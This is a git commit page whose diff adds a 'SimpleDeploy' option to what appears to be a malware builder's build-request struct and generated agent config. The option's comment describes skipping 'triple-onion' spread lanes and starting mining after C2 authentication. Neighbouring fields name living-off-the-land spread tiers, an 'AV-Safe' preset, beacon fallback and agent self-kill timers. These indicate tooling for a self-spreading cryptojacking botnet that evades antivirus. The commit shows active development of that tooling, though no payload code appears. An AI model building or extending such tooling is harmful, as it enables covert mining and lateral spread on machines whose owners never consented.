Add simple Deploy and Mine path for operators without spread complexity.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
This commit is contained in:
@@ -119,6 +119,9 @@ type BuildRequest struct {
|
||||
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
|
||||
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
|
||||
|
||||
// SimpleDeploy — skip triple-onion spread lanes; mine after C2 auth (Deploy & Mine preset).
|
||||
SimpleDeploy bool `json:"simple_deploy"`
|
||||
|
||||
// LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset).
|
||||
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||
@@ -1319,6 +1322,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
HTTPSBeaconFallback: %v,
|
||||
HTTPSBeaconAfterMin: %d,
|
||||
|
||||
SimpleDeploy: %v,
|
||||
LotlOnionEnabled: %v,
|
||||
LotlPolicyFromServer: %v,
|
||||
LotlOnionTiers: %s,
|
||||
@@ -1418,6 +1422,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.AgentKillAfterDays,
|
||||
httpsBeaconFallbackEnabled(req),
|
||||
httpsBeaconAfterMin(req),
|
||||
req.SimpleDeploy,
|
||||
req.LotlOnionEnabled,
|
||||
req.LotlPolicyFromServer,
|
||||
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
|
||||
|
||||
Reference in New Issue
Block a user